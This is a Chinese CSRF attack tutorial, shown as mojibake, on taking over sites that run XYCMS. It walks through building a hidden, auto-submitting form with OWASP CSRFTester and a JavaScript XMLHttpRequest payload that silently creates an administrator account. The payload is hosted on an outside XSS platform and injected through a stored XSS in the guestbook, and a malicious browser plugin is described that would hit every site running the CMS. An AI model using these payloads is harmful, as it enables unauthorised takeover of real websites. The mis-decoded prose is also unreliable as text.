ΪʲôҪÄÃCSRFÀ´µ±¡°¹¥»÷ÊÖ·¨ÏµÁС±µÄ¿ªÍ·ÆªÄØ£¿ÒòΪCSRF/XSRFÎÒ¸öÈËϲ°®ËûµÄ³Ì¶ÈÒѾ³¬¹ýXSSÁË¡£Èç¹û˵XSSÊÇÒ»¸öÀÏ»¢£¬ÄÇôCSRF¾ÍÊÇÒþ²ØÔÚ°µ´¦µÄÉß¡£
ÏàÐÅÏÖÔںܶàÈ˲»Ã÷°×CSRFÊÇÔõôÔË×÷£¬ËûºÍXSSµÄ²»Í¬ÊÇÔÚÄÄÀï¡£ÎÒÕâÀï¾ÍÖð²½Îª´ó¼Ò½âÊÍ£¬²¢´ÓdzÈëÉîµÄ½éÉÜCSRF¡£
ÈëÃÅ
ÎÒÃÇÏÈÀ´¿´¿´CSRFºÍXSSµÄ¹¤×÷ÔÀí£¬ÏÈÈôó¼Ò°ÑÕâÁ½¸ö·Ö¿ªÀ´¡£
XSS£º
¹¥»÷Õß·¢ÏÖXSS©¶´¡ª¡ª¹¹Ôì´úÂ롪¡ª·¢Ë͸øÊܺ¦ÈË¡ª¡ªÊܺ¦ÈË´ò¿ª¡ª¡ª¹¥»÷Õß»ñÈ¡Êܺ¦È˵Äcookie¡ª¡ªÍê³É¹¥»÷
CSRF£º
¹¥»÷Õß·¢ÏÖCSRF©¶´¡ª¡ª¹¹Ôì´úÂ롪¡ª·¢Ë͸øÊܺ¦ÈË¡ª¡ªÊܺ¦ÈË´ò¿ª¡ª¡ªÊܺ¦ÈËÖ´ÐдúÂ롪¡ªÍê³É¹¥»÷
¶øÇÒXSSÈÝÒ×·¢ÏÖ£¬ÒòΪ¹¥»÷ÕßÐèÒªµÇ¼ºǫ́Íê³É¹¥»÷¡£¹ÜÀíÔ±¿ÉÒÔ¿´ÈÕÖ¾·¢ÏÖ¹¥»÷Õß¡£
¶øCSRFÔò²»Í¬£¬ËûµÄ¹¥»÷Ò»Ö±ÊǹÜÀíÔ±×Ô¼ºÊµÏֵ쬹¥»÷ÕßÖ»¸ºÔðÁ˹¹Ôì´úÂë¡£
ÎÒÕâÖ»ÊǼòµ¥µÄ˵Ã÷ÏÂÁ÷³Ì¡£´ó»ïÓ¦¸Ã·¢ÏÖCSRFÉÙÁËÒ»¸ö »ñÈ¡Êܺ¦È˵ÄcookieµÄ²½Ö衣Ϊʲô»áÉÙÁËÄØ¡£ÒòΪÊܺ¦ÈËÔÚÖ´ÐдúÂëµÄʱºò¾ÍÒѾÍê³ÉµÄ¹¥»÷£¬¶ø¹¥»÷Õß²¢Ã»ÓвÎÓë½øÀ´¡£
¾Ù¸öÀý×ÓÀ´Ëµ°É(Êܺ¦ÕßµÄÍøÖ·ÊÇa.cn£¬¹¥»÷ÕßµÄÍøÖ·ÊÇb.cn)¹¥»÷ÕßÏëÒªÔÚij¸öÍøÕ¾(ÍøÕ¾ÊÇij¸ö¿ªÔ´CMS)Ìí¼ÓÉÏÁíÒ»¸ö¹ÜÀíÔ±£¬µ«ÊÇÕâ¸öÍøÕ¾²¢Ã»ÓÐXSS©¶´¡£Ôõô°ìÄØ£¿Õâʱ¹¥»÷Õß·¢ÏÖÁËÕâ¸ö¿ªÔ´CMSºǫ́Ìí¼Ó¹ÜÀíԱʱ²¢Ã»ÓмÓÈëÑéÖ¤Âë»òÔòtoken£¬Ö»ÐèÒªÊäÈëÒªÌí¼ÓµÄ¹ÜÀíÔ±Õ˺źÍÃÜÂëµã»÷È·¶¨¾Í¿ÉÒÔÌí¼Ó¹ÜÀíÔ±ÕË»§ÁË¡£ÕâʱºÍÎÒÒ»Ñù´ÏÃ÷µÄ¹¥»÷ÕßÔÚ×Ô¼ºµÄ·þÎñÆ÷ÉϽ¨Á¢ÁËÒ»¸öhtmlÎļþ(¼ÙÉèµØÖ·ÊÇb.cn/index.html)¡£È»ºó¾Í¸øÍøÕ¾¹ÜÀíÔ±·¢ÓʼþµÈµÈ£¬ÓÕʹ¹ÜÀíÔ±´ò¿ªb.cn/index.html¡£µ±¹ÜÀíÔ±´ò¿ªºó£¨Õâʱ¹ÜÀíÔ±ÕýÔÚÍøÕ¾ºǫ́£¬»òÔò¹ÜÀíÔ±µÄsession²¢Ã»ÓÐʧЧµÄ»°£©£¬¾Í¿ÉÒÔÉñ²»Öª¹í²»¾õµÄÔÚÍøÕ¾ºǫ́Ìí¼ÓÁËÒ»¸ö¹ÜÀíÔ±ÕË»§¡£
ÏàÐÅÕâʱ´ó»ïÒѾÃ÷°×CSRFºÍXSSµÄÇø±ðÁË£¬²»ÊÇÌ«Ã÷°×ҲûÊ£¬ÏÂÃæ»¹ÓС£
½ÓÏÂÀ´ÎÒÏȸø´ó¼Ò½éÉÜÒ»¸öÈí¼þ£¬ÔÚÔËÓÃʵÀýÀ´ÏêϸµÄ˵Ã÷CSRF¡£
OWASP CSRFTester£º
ÕâÊÇOWASPÍÆ³öµÄCSRF°ë×Ô¶¯»¯Èí¼þ£¬ËûʡȥÁËCSRF×î·±ËöµÄ¹ý³Ì£¬´úÂë¹¹Ôì¡£ÏÂÃæÊÇÈí¼þµÄ½ØÍ¼


Õâ¿îÈí¼þÊÇÓÉjava±àдµÄ£¬ËùÒÔÔÚÔËÐÐÈí¼þ֮ǰÐèÒªÊÂÏȰ²×°java»·¾³£¬cmd´°¿ÚÊǸæËßÎÒÃÇ´ËʱÈí¼þÕýÔÚ¼àÌý8008¶Ë¿Ú¡£Èí¼þµÄ´óÖ½éÉܾ͵½Õ⣬ºóÎÄÎÒ½«½øÒ»²½µÄ˵Ã÷¡£
ÕâÀïÎÒÑ¡ÔñÁË¡°XYCMSÖÐÐÄСѧ½¨Õ¾ÏµÍ³¡±

OK£¬ÎÒÃǽøÈëºǫ́a.cn:88/admin£¬Õ˺ÅÃÜÂëĬÈ϶¼ÊÇadmin¡£½øÈëºǫ́£¬ÎÒÃÇÑ¡Ôñ¡°¹ÜÀíÔ±¹ÜÀí¡±


ÎÒÏëϸÐĵÄÈËÒѾ·¢ÏÖÁË¡£ËûÖ»ÒªÇóÄãÊäÈëÕ˺ŠÃÜÂë È·ÈÏÃÜÂ롣ûÓз¢ÏÖÑéÖ¤ÂëÑéÖ¤¡£ÎÒÃÇÔÚä¯ÀÀÆ÷Àï´úÀíÏÂ8008¶Ë¿Ú(ËäÈ»ÍøÕ¾ÊÇ88¶Ë¿Ú£¬µ«ÊÇ»¹ÊÇ¿ÉÒÔ¼àÌýµ½Êý¾Ý£¬ËùÒÔ²»±ØÔÚÒâÍøÕ¾ÊÇ88£¬Èí¼þ¼àÌýµÄÊÇ8008µÄÎÊÌâ¡£ÒòΪÔÚä¯ÀÀÆ÷ÀïÈκÎÊý¾Ý¶¼±ØÐëÒª¾¹ý8008£¬ÍøÕ¾Ëä˵ÊÇ88¶Ë¿Ú£¬µ«ÊÇÊý¾Ý»¹Òª×ªµ½8008¶Ë¿Ú)¡£È»ºóÓÃÈí¼þ¿´ÏÂÓÐûÓÐtokenµÄ´æÔÚ(ÄãÒ²¿ÉÒÔÓÃburp¡¢fiddlerµÈµÈ)¡£
µã»÷¿ªÊ¼

ÎÒÃÇÔÚÍøÕ¾ÀïÊäÈëÕ˺źÍÃÜÂë¡£

µã»÷Ìá½»Êý¾Ýºó£¬Èí¼þ¾Í»á×¥µ½Êý¾Ý°üÁË¡£

ÏÂÃæ4¸öÊǰÁÓÎä¯ÀÀÆ÷·¢Ë͵쬰ÑËûÃÇɾ³ý¡£µÚ¶þ¸öÊÇÌø×ª£¬ÎÒÃÇÒ²°ÑËûɾ³ý¡£

ÎÒÃÇ·¢ÏÖ²¢Ã»ÓÐÕÒµ½tokenµÄÖµ£¬ÄÇôÎÒÃǾͿÉÒÔÀ´ÊµÏÖCSRF¹¥»÷ÁË¡£
¿´µ½ÏÂÃæµÄReport TypeÁËô¡£ÕâЩÊÇÈÃÄãÑ¡ÔñÓÃʲô·½·¨À´½øÐй¥»÷¡£
Forms£º´´½¨Ò»¸öform±íµ¥¡£ÄÚÈÝΪhidden(Òþ²Ø)£¬Óû§²»¿É¼û£¨¿ÉPOST¡¢GET£©
iFrame£º´´½¨Ò»¸öiframe¿ò¼Ü£¬¸ß¿íΪ0£¬Óû§²»¿É¼û¡££¨¿ÉPOST¡¢GET£©
IMG£º´´½¨Ò»¸öIMG±êÇ©(Ö»ÄÜGET)¡£
XHR£º´´½¨Ò»¸öAJAXÇëÇó(¿ÉPOST¡¢GET)
Link£º´´½¨Ò»¸öa±êÇ©µÄ³¬Á´½Ó(Ö»ÄÜGET)
OK£¬½éÉÜÍêÁË¡£µ«ÊÇÄØ£¬ÕâÎå¸öÀÎÒÖ»ÍÆ¼öµÚÒ»¸ö¡£ÔÒòÓÐÏ£º
µÚ¶þ¸öÈÝÒ×ÕÒ²»µ½¶ÔÏó(Èç¹ûÄãÊÇÐÂÊÖ£¬¶ÔJavaScript²»ÊìµÄ»°£¬²»½¨ÒéÑ¡ÔñÕâ¸ö)
µÚÈý¸öÖ»ÄÜ·¢ËÍGETÇëÇó£¬ÓÐÏÞÖÆ¡£
µÚËĸöÓпçÓòÏÞÖÆ£¬ÓеÄä¯ÀÀÆ÷²»ÔÊÐí·¢ËÍ¿çÓòÇëÇ󣬳ý·ÇÍøÕ¾ÓÐÉèÖá£
µÚÎå¸öÐèÒªµã»÷²ÅÄÜ´¥·¢(µ±È»¿ÉÒÔÐÞ¸ÄΪ×Ô¶¯´¥·¢)£¬»¹ÓÐÒ»¸öÊÇËûÒ²Ö»ÄÜ·¢ËÍGETÇëÇó¡£
Ok£¬ÎÒÕâʱѡÔñformsÑ¡ÏËû»áÉú³ÉÒ»¸öHTMLÎļþ£¬¶øÇÒ»á×Ô¶¯´ò¿ª£¬Èç¹û²»³É¹¦²»Òª»ÒÐÄ£¬Õâ¸öÈí¼þ²»ÊÇÌØ±ðµÄÍêÕû£¬ÓÐЩµØ·½ÐèÒª¸Ä½ø¡£²»³É¹¦µÄ»°¾Í´ò¿ªHTML¸ÄÏÂÔ´Â룬²ÎÕÕä¯ÀÀÆ÷µÄÉó²éÔªËØ¾ÍÐС£

µã»÷Generate HTMLÀ´Éú³É£¬Éú³ÉºÃºó£¬°ÑÉú³ÉµÄindex.html·Åµ½b.cnÏ¡£ÓÕʹ¹ÜÀíÔ±´ò¿ª£¬¹ÜÀíÔ±´ò¿ªºó£¬½«»áÊÇÕâÑù£º

³É¹¦ÁË£¬ÎÒÃÇÔÚºǫ́¿´Ï¡£

¿ÉÒÔ¿´µ½³É¹¦Ìí¼ÓÁË¡£
ÎÒÃÇ¿ÉÒÔ°ÑÕâ¸öindex.html·Åµ½×Ô¼º·þÎñÆ÷ÉÏ£¬ÓÖÊǹÜÀíÔ±´ò¿ª£¬È»ºóÁ˹ÜÀíÔ±µ±Ê±ÕýÔÚºǫ́£¬»òÔò¹ÜÀíÔ±µÄsessionûÓйýÆÚ£¬Äã¿ÉÒÔÔÚÍøÕ¾ÁôÑÔ°åÀï°ÉÍøÖ·Ð´ÉÏÈ¥¡£¾Í¿ÉÒÔÍê³ÉCSRF¹¥»÷ÁË¡£
ÕâÀïÎÒ²»ÓÃÉÏÃæÕâ¸öÈí¼þ£¬ÔÙÍê³ÉÒ»´Î¹¥»÷
ÎÒÏëÈëÇÖÒ»¸öÍøÕ¾£¬µÃÖªÕâ¸öÍøÕ¾Ê¹ÓõÄÊÇXYCMS£¬ÓÚÊÇÎÒÔÚÍøÉϰÑXYCMSÔ´ÂëÏÂÔØÏÂÀ´£¬·ÖÎöÏ¡£ÎÒ·¢ÏÖÔÚºǫ́Ìí¼Ó¹ÜÀíÔ±µÄµØ·½Ã»ÓÐtokenÑéÖ¤£¬ÓÚÊÇÎÒ¾Í×ßÉÏÁ˹¹Ôì´ø´úÂëһ·¡£
F12¿´ÏÂÌí¼Ó¹ÜÀíÔ±µÄÁ´½ÓÊÇʲô

´ò¿ª´ËÁ´½Ó¾ÍÊÇÌí¼Ó¹ÜÀíÔ±µÄµØ·½¡£

Ctrl+U ¿´ÏÂÔ´´úÂ룬°Ñform±êÇ©ÀïµÄÄÚÈÝÈ«²¿¸´ÖÆÏÂÀ´£¬·Åµ½±¾µØµÄhtmlÎļþÀȥµôûÓõĴúÂë¡£¾ÍÏñÏÂÃæÕâÑù£º

OK£¬ÏÖÔÚÎÒÃÇÀ´¸ÄÏ£¬°Ñaction¸Ä³ÉÄ¿±êÍøÕ¾(a.cn)£¬È»ºóÔÚinputÀàÐÍΪtextµÄµØ·½£¬¼ÓÉÏValueµÄÖµ£¬Õâ¸öÖµ¾ÍÊÇÄãÒªÌí¼ÓµÄ¹ÜÀíÔ±Õ˺źÍÃÜÂ룬¸ÄºóΪ£º

ÎÒÃÇ´ò¿ª²âÊÔÏ£¬¿´Äܲ»ÄÜÌí¼Ó¹ÜÀíÔ±

µã»÷¡°Ìá½»Êý¾Ý¡±

Ìí¼Ó³É¹¦ÁË£¬Ê£ÏµľÍÊÇ×Ô¶¯Ìá½»ÁË£¬ÕâÀï¾ÍÒªÓõ½JavaScriptÁË¡£

´ò¿ªºó£¬×Ô¶¯Ìí¼ÓÁË¡£½ÓÏÂÀ´¾ÍÊÇÈÃ±íµ¥Òþ²Ø£¬ÎÒÃǼӸöstyleÈÃformΪÒþ²Ø¾ÍÐÐÁË¡£ÏñÏÂÃæÕâÑù£º

Ò»¸öcsrfÍøÒ³¾ÍÍê³ÉÁË£¬ÉÏ´«µ½b.cn£¬ÓÕʹ¹ÜÀíÔ±´ò¿ª¾ÍÐÐÁË¡£
½ø½×
ÏàÐÅϸÐĵÄÈËÒѾ·¢ÏÖÉÏÃæÊÇÒ»¸ö1.htmlÎļþ£¬ÐèÒªÓÕʹ¹ÜÀíÔ±´ò¿ª£¬¶øÇÒËû»¹Óе¯´°¡£Ì«±»¶¯ÁË£¬ÏëÓÃajaxÀ´·¢ËͰɣ¬ÓÖÐèÒª¿çÓò¡£Ôõô°ìÄØ£¿ÕâÀïÎÒÃÇ¿ÉÒÔ½áºÏXSSÀ´Íê³É¹¥»÷¡£
ÔÚ֮ǰXSSϵÁÐÎÒ˵¹ýÒ»¾ä»°¡°XSS¾ÍÊÇÈöԷ½Ö´ÐÐÄãµÄJS´úÂ롱£¬´ÏÃ÷µÄÈËÒѾÏëµ½ÁË£¬ÄǾÍÊǰÑCSRFµÄAJAXÇëÇó·Åµ½XSSÀÒÔ´ïµ½¹¥»÷µÄЧ¹û£¬¾ßÌåÔõô×öµ½ÄØ£¬¿´ÍêÕâÒ»½Ú£¬Äã¾Í»áÁË¡£
Ê×ÏÈÄãÒªÍÚµ½Ò»¸öXSS©¶´(·´Éä¡¢´¢Ðî¶¼ÐУ¬µ±È»´¢Ðî¸üºÃ¡£ÒòΪÕâ¸öCMSÌØ±ðСÖÚ£¬¼¸ºõûÈËÓã¬ËùÒÔÔÚǰÄêÍÚµ½Õâ¸ö©¶´Ê±£¬¾ÍÒ»Ö±·ÅÄÇû¶¯¹ý)¡£ÕÒµ½Ò»¸ö´¢ÐîÐÍXSS£¬ÔÚ¸ùĿ¼µÄadd_book.aspÎļþÀï¡£
rs("title")=trim(request.form("title")) rs("sh")=request.form("sh") rs("ly_name")=trim(request.form("ly_name")) rs("tel")=trim(request.form("tel")) rs("email")=trim(request.form("email")) rs("body")=trim(request.form("body")) |
titleÁôÑÔ±êÌâ ly_nameÐÕÃû telÁªÏµµç»° emailÁªÏµÓÊÏä
bodyÁôÑÔÄÚÈÝ´æÔÚXSS(²»ÏëͲÛÁË)
OK£¬ÒòΪÉÏÒ»½ÚÒѾ˵ÁËÌí¼Ó¹ÜÀíÔ±ÎÞÈÏÖ¤µÄ©¶´ÁË£¬ÎÒÒ²¾Í²»¶à˵ÁË¡£
Ìá½»µÄʱºò×¥°üÏ£¬È»ºó¸ù¾ÝÊý¾Ý°üÀ´Ð´ajax´úÂë(Ö®ËùÒÔûÓÃÄǸöÈí¼þÀ´Éú³É£¬ÊÇÈôó¼Ò¸ü¼ÓÉî¿Ì£¬Í¬Ê±Ò²²»ÒªÌ«ÒÀÀµÈí¼þ)
ÏÂÃæ¾ÍÊÇÎÒ×Ô¼ºÐ´µÄÒ»¸öajax£º
var xmlhttp; if(window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else{ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("POST","/admin/admin_manage.asp?act=add",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("admin=123&password=admin&password3=admin&button=Ìá½»Êý¾Ý"); |

Éú³ÉºÃºó£¬µÃµ½µØÖ·http://xss8.pw/0IrU5I?1420780331
OK£¬ÎÒÃÇÈ¥ÁôÑÔ°åÉϲå°É¡£

Ö®ËùÒÔûÓÃÈ«²å£¬ÊÇÒòΪÕâÑù×öµÄ»°£¬¹ÜÀíÔ±Ò»´ò¿ª¾Í»á¶à²å¼¸¸öÕ˺š£

¹ÜÀíÔ±´ò¿ªºóµÄÑù×Ó£¬ÕâʱºòÆäʵÒѾÔÚºǫ́Ìí¼ÓÁ˹ÜÀíÔ±¡£

ÉîÈë
ÎÒ֮ǰÔÚhttp://www.freebuf.com/articles/web/55505.htmlºÍhttp://www.freebuf.com/articles/web/54686.html̸µ½¹ý²å¼þ°²È«¡£ÕâÀïÎҽ̴ó¼ÒÒ»¸öâ«ËöµÄCSRF¼¼ÇÉ¡£
ÏÖÔÚµÄÎÒÕÆÎÕÁËÕâ¸öCMSµÄCSRF©¶´£¬ÎÒÏëÈÃËùÓÐʹÓÃÕâ¸öCMSµÄÍøÕ¾È«²¿Ìí¼Ó¹ÜÀíÔ±Ôõô°ìÄØ£¿ÎÒÃÇ¿ÉÒÔÓòå¼þ¡£
Ê×ÏȽ¨Á¢Ò»¸öceshiĿ¼£¬ÔÚÀïÃæ½¨Á¢Ò»¸ödef.jsonÎļþ£¬ÄÚÈÝÈçÏ£º

È»ºóÎÒÃÇÔÚͬĿ¼Ï½¨Á¢Ò»¸ötest.jsÎļþ£¬ÔÚÀïÃæÐ´ÈëÏÂÃæÕâЩ´úÂ룺

forµÄ´æÔÚÊÇÈÃËûÖ»ÔËÐÐÒ»´Î£¬Ö»²»¹ýÒòΪÕâ¸öÊÇÔÚ²å¼þÀµ±Äã´ò¿ªÒ»´ÎÒ³ÃæËû¾Í»áÖØÐ¼ÓÔØÕâ¸öjs¡£Ò²¾ÍÊÇ˵£¬Èç¹û¹ÜÀíԱһֱˢÐÂÒ³Ãæ£¬ÄÇô¾Í»á³öÏÖºÍˢдÎÊýÒ»ÑùµÄÕË»§£¬Ö®ËùÒÔ¼ÓforÊÇÒòΪÈç¹ûÄã²»¼Ó£¬Ë¢ÐÂÒ»´Î»áÌí¼Ó¼¸¸öÕË»§£¬¶ø²»ÊÇÒ»¸ö¡£
È»ºóÓÃMxPackerÈí¼þ´ò°ü³Émaxthon²å¼þ£¬Ë«»÷°²×°ºó£¬¾Í»á·¢ÏÖÒѾÔÚºǫ́Ìí¼ÓÁËÕË»§¡£

Èç¹ûÄãÕËÎñÁ˼¸¸öCMSµÄCSRF©¶´£¬ÄÇôÄã¿ÉÒÔ½áºÏµ½Ò»¸ö²å¼þÀ¼Û¸ñifÅжÏÊÇÄĸöCMS¾ÍÓÃÄĶÎCSRF¹¥»÷´úÂë¡£
×¢Òâ
¹¥»÷ÕßÊÂÏÈÒªÖªµÀ¶Ô·½Ê¹ÓõÄÊÇÄĸöCMS¡£ÏñÄÇЩ×Ô¼ºÐ´µÄ£¬ÍøÉÏûÓеijÌÐò¡£¼¸ºõ²»¿ÉÄÜÓÃCSRFÀ´Íê³É¹¥»÷¡£ |